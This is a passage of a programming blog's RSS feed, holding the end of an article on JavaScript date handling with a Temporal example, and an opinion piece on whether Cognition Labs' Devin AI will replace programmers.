will solve all this mess&lt;/h2&gt;&#xA;&lt;p&gt;Of course you and I are not the only ones complaining about dates in Javascript, this has been an issue for a long time, but our prayers have been heard and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Temporal&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Temporal appears to be offered as the replacement for the original date management library&lt;/a&gt;&#xA;. Right now the support from major browsers is minimal, but this is just a matter of time, finally we will have a non-convoluted library for dates.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Note that the date is stored internally as ISO 8601, even when it&amp;#39;s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// interpreted in a different calendar system. For example, even though&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2021-07-01 is 4658-05-22 in the Chinese calendar, you still pass the&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ISO date to the constructor.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; plainDate2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; Temporal.PlainDate(&lt;span style=&#34;color:#ff9f43&#34;&gt;2021&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chinese&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.log(plainDate2.toString()); &lt;span style=&#34;color:#78787e&#34;&gt;// 2021-07-01[u-ca=chinese]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;console.log(plainDate2.year); &lt;span style=&#34;color:#78787e&#34;&gt;// 4658&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;console.log(plainDate2.month); &lt;span style=&#34;color:#78787e&#34;&gt;// 5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;console.log(plainDate2.day); &lt;span style=&#34;color:#78787e&#34;&gt;// 22&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;other-libraries-to-handle-dates-effortlessly-in-javascript&#34;&gt;Other libraries to handle dates effortlessly in Javascript&lt;/h2&gt;&#xA;&lt;p&gt;While temporal is ready, or if your needs are somewhat complex. you can use the following alternatives.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://date-fns.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Date-fns&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://moment.github.io/luxon/#/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Luxon&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tempo.formkit.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Tempo&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://momentjs.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Momentjs&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://day.js.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Dayjs&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Working with Javascript is frustrating and, sometimes, combining it with HTML can be desperate due to its lack of internal coherence. On top of that, using it to handle dates, which requires considering the handling of timezones, different ways to represent them and the required sensitivity: seconds, minutes, milliseconds, etc. makes it a torture.&lt;/p&gt;&#xA;&lt;h2 id=&#34;javascript-handles-dates-in-a-strange-way&#34;&gt;Javascript handles dates in a strange way&lt;/h2&gt;&#xA;&lt;p&gt;Javascript uses months starting from index 0 and days from index 1, two objects with the same date are unequal when compared with === (yes, I know that what is being compared are the objects and not the dates), but it is just the fact that it is not intuitive, the language user is not interested in the objects in memory itself, but what they represent.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Devin AI Will this AI Replace Programmers?</title>
      <link>https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/</link>
      <pubDate>Wed, 13 Mar 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Today this unholy news became popular, that an &amp;ldquo;AI Software Engineer&amp;rdquo; with the name Devin, made by &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.cognition-labs.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Cognition Labs&lt;/a&gt;&#xA;, will be available on the market. And, of course, it provoked a strong reaction among the software professional community. Reactions ranging from cynicism to fear to disappointment abound in the comments on the related videos.&lt;/p&gt;&#xA;&lt;p&gt;While we are still far from having a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;self-aware AI&lt;/a&gt;&#xA;, what we do have nice &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/&#34;&gt;fine-tuneable LLM&lt;/a&gt;&#xA; with promising features that threaten to turn the technology industry upside down.&lt;/p&gt;&#xA;&lt;p&gt;Like what features? &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.cognition-labs.com/blog&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;According to its creators, Devin AI can&lt;/a&gt;&#xA;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use unfamiliar technologies&lt;/li&gt;&#xA;&lt;li&gt;Create and deploy applications&lt;/li&gt;&#xA;&lt;li&gt;Automatically find bugs&lt;/li&gt;&#xA;&lt;li&gt;Train your own AI models&lt;/li&gt;&#xA;&lt;li&gt;Contribute to mature repositories&lt;/li&gt;&#xA;&lt;li&gt;Solve real projects on Upwork (much more than &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/&#34;&gt;solve interview code problems&lt;/a&gt;&#xA;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/so-its-time-to-panic-simpsons.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/so-its-time-to-panic-simpsons.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simpsons meme asking if it&amp;#39;s time to Panic&#34; width=&#34;700&#34; height=&#34;556&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;who-is-behind-devin-ai&#34;&gt;Who is behind Devin AI?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Behind Devin AI is Cognition labs, a relatively new company that had been kept behind the scenes until yesterday. Their &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://twitter.com/cognition_labs&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Twitter account&lt;/a&gt;&#xA; is less than two days old at the time of writing (although it already accumulates over 86k followers).&lt;/p&gt;&#xA;&lt;h3 id=&#34;who-are-the-members-of-cognition-labs&#34;&gt;Who are the members of Cognition labs?&lt;/h3&gt;&#xA;&lt;p&gt;There are about 10 members, between them totaling more than &lt;strong&gt;10 gold medals at the International Computer Olympiad&lt;/strong&gt; and whose members seem to have been involved in AI-related projects at companies like Google, DeepMind and Scale AI. So one can speak of a group with some level of experience.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/meme-creador-de-devin-linuxero.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/meme-creador-de-devin-linuxero.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Fictitious and caricatured representation of Devin AI&amp;#39;s creators&#34; width=&#34;700&#34; height=&#34;394&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Fictitious and caricatured representation of Devin AI&amp;rsquo;s creators&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;who-is-funding-the-project&#34;&gt;Who is funding the project?&lt;/h3&gt;&#xA;&lt;p&gt;So far Cognitive Labs claims to have raised about &lt;strong&gt;21 MDD in a round led by Founders Fund&lt;/strong&gt;, most notably investor Peter Thiel, former head of Paypal.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/peter-thiel-relationships.jpeg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/peter-thiel-relationships.jpeg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Peter Thiel&amp;#39;s relationship diagram&#34; width=&#34;700&#34; height=&#34;562&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Source: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://knowyourmeme.com/photos/2402121-peter-thiel&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://knowyourmeme.com/photos/2402121-peter-thiel&lt;/a&gt;&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;whats-going-to-happen-to-the-programmers---are-they-at-risk&#34;&gt;What&amp;rsquo;s going to happen to the programmers - are they at risk?&lt;/h2&gt;&#xA;&lt;p&gt;Well, it is difficult to know for sure, given the lack of information. However, I propose a couple of likely scenarios:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Devin AI will replace the programmers and revolutionize the industry.&lt;/li&gt;&#xA;&lt;li&gt;Devin AI will not rise to the occasion and will fall into oblivion.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;devin-ai-will-replace-the-programmers-and-take-their-jobs&#34;&gt;Devin AI will replace the programmers and take their jobs.&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Who do you think would win in a battle to produce more books, 1000 ancient Egyptian scribes or a photocopier hooked up to a computer?&lt;/p&gt;&#xA;&lt;p&gt;I am of the opinion that the second option, simply the capabilities of the printer to produce pages faster, with fewer errors and in a fraction of the time, are beyond the capabilities of the scribes. While it is true that a person is required to set up and use the printer, that does not imply that scribes stand a chance. Similarly, while programmers will still be required and more jobs will be &amp;ldquo;created&amp;rdquo; as is usually claimed, the real question is: &lt;strong&gt;how many jobs will be lost for every new job that is created?&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/Devin-AI-vs-you.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/Devin-AI-vs-you.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Image of a boot crushing a human face&#34; width=&#34;700&#34; height=&#34;394&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s continue with this thought experiment, let&amp;rsquo;s assume, for a moment, that Devin AI does exactly what he says. Since Devin AI is a tool, it still requires input from a human being to function, so the &amp;ldquo;output&amp;rdquo;, i.e. its performance, will depend on how good its &amp;ldquo;input&amp;rdquo;, i.e. the person giving it the instructions, is.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/prompt-engineer.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/prompt-engineer.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Winnie the Pohh meme&#34; width=&#34;700&#34; height=&#34;509&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This means that &lt;strong&gt;the profession of prompt engineer will become a reality&lt;/strong&gt;, and with the consequence that those people with superior abstraction, writing and lexical abilities will become practically gods of this new utopia (or dystopia, depending on how you see it).&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;In addition, all those professions in charge of perfecting AI models will become professions with a very high demand, since any company that wants to compete and stay afloat will need one.&lt;/p&gt;&#xA;&lt;h4 id=&#34;new-opportunities-after-the-end-of-programming&#34;&gt;New opportunities after the end of programming&lt;/h4&gt;&#xA;&lt;p&gt;Getting a job if you are new in the industry will be quite complicated, but at the same time the barrier to create digital businesses will decrease and it will be more important to identify and solve problems. Becoming a solopreneur or freelancer will be incredibly easy, as the technical skills required will be significantly reduced and you may be better off aiming in that direction.&lt;/p&gt;&#xA;&lt;p&gt;How likely do I see this scenario? The truth is that &lt;strong&gt;I consider it a pretty unlikely scenario&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;devin-ai-is-just-temporary-hype-and-will-be-forgotten-soon&#34;&gt;Devin AI is just temporary hype and will be forgotten soon.&lt;/h3&gt;&#xA;&lt;p&gt;The second possibility is that nothing happens. Yes, nothing.&lt;/p&gt;&#xA;&lt;p&gt;It has happened multiple times in the past; every great forgotten idea starts with the promise of revolutionizing the world, as it happened with no-code or Dreamweaver (A WYSIWYG editor to create websites from 2007). Both were technologies that from one moment to the next threatened to change the world of technology forever, and failed to do so.&lt;/p&gt;&#xA;&lt;p&gt;Remember &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/daveshap/OpenAI_Agent_Swarm&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Agent Swarm AI&lt;/a&gt;&#xA;? It also generated a lot of expectations but in the end it didn&amp;rsquo;t crystallize into anything.&lt;/p&gt;&#xA;&lt;p&gt;So far Copilot, ChatGPT and probably Devin AI have been nothing more than &amp;ldquo;google searches&amp;rdquo; on steroids, they can give you the information you request directly, but it&amp;rsquo;s not necessarily real and fail-safe. The iterative process offered by this system improves quite a bit on the usual question-answer dynamic, but it is still immune to falling into loops due to problems it can&amp;rsquo;t solve or producing something totally different from what you ask for, for now we need to test it a lot more.&lt;/p&gt;&#xA;&lt;p&gt;In addition to the above, there is another aspect that we are missing.&lt;/p&gt;&#xA;&lt;h4 id=&#34;the-financial-aspect-of-artificial-intelligence&#34;&gt;The financial aspect of artificial intelligence.&lt;/h4&gt;&#xA;&lt;p&gt;Let me describe a situation:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A group of entrepreneurs come up with a novel product.&lt;/li&gt;&#xA;&lt;li&gt;It goes viral and everyone talks about how it will forever change our everyday life.&lt;/li&gt;&#xA;&lt;li&gt;The creators receive seed capital from many, many investors.&lt;/li&gt;&#xA;&lt;li&gt;It ends up becoming just another tool and everything stays the same.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Does it sound like anything like that? Maybe they are just a group of people looking to become millionaires and we&amp;rsquo;re in the middle of an &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI overhype and possible in a bubble about to burst&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/its-all-about-shareholders.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/its-all-about-shareholders.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme of omniman talking to his son about shareholders&amp;#34;&#34; width=&#34;700&#34; height=&#34;653&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Consider that, in the world of money, appearances play a major role. Right now, only a few people who have had access to Devin AI are raving about the tool. Sounds too good, doesn&amp;rsquo;t it? This could all be a marketing campaign to inflate expectations, attract investors and make &amp;ldquo;easy&amp;rdquo; money.&lt;/p&gt;&#xA;&lt;p&gt;But didn&amp;rsquo;t Peter Thiel just invest money? Yes, but that doesn&amp;rsquo;t mean anything. If you are an investor, you don&amp;rsquo;t care if the project exists for a month, two months, a decade or two, the only important thing is that it is profitable enough for you according to your own investment criteria. In other words: What does it matter if the project dies if I can turn 21 MDD into 40 MDD in less than a year?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/meme-rapper-devin-access.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/images/meme-rapper-devin-access.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme of the rapper rejecting the first option applied to Cognition labs&#34; width=&#34;700&#34; height=&#34;604&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;It strikes me that the way to request access to Devin AI is through a google form instead of using an App developed with the same model, which would be the perfect cover letter for this technology. After all, it&amp;rsquo;s not like it&amp;rsquo;s outside the capabilities of their model, it&amp;rsquo;s not an application with 1000 microservices, load balancing, streaming and a recommendation engine, it&amp;rsquo;s a plain simple and common registration form.&lt;/p&gt;&#xA;&lt;p&gt;I consider this scenario more likely, but let&amp;rsquo;s wait a year or two and see together if Devin AI lives up to its promise. My bet is that Devin won&amp;rsquo;t replace programmers.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-different-approach-than-devin-ai&#34;&gt;A different approach than Devin AI&lt;/h2&gt;&#xA;&lt;p&gt;Some companies abandonned the idea of replace developers and focused on becoming tools in code creation, like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/my-bolt-vs-lovable-vs-v0-vercel-comparison/&#34;&gt;Bolt, Lovable o V0&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Today this unholy news became popular, that an &amp;ldquo;AI Software Engineer&amp;rdquo; with the name Devin, made by &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.cognition-labs.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Cognition Labs&lt;/a&gt;&#xA;, will be available on the market. And, of course, it provoked a strong reaction among the software professional community. Reactions ranging from cynicism to fear to disappointment abound in the comments on the related videos.&lt;/p&gt;&#xA;&lt;p&gt;While we are still far from having a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;self-aware AI&lt;/a&gt;&#xA;, what we do have nice &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/&#34;&gt;fine-tuneable LLM&lt;/a&gt;&#xA; with promising features that threaten to turn the technology industry upside down.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>SAAS and OTS as business models and my opinion on Once</title>
      <link>https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/</link>
      <pubDate>Thu, 22 Feb 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/saas-and-ots-as-software-business-models-and-my-opinion-on-once/</guid>
      
      <category>opinion</category>
      
      
      
      
      
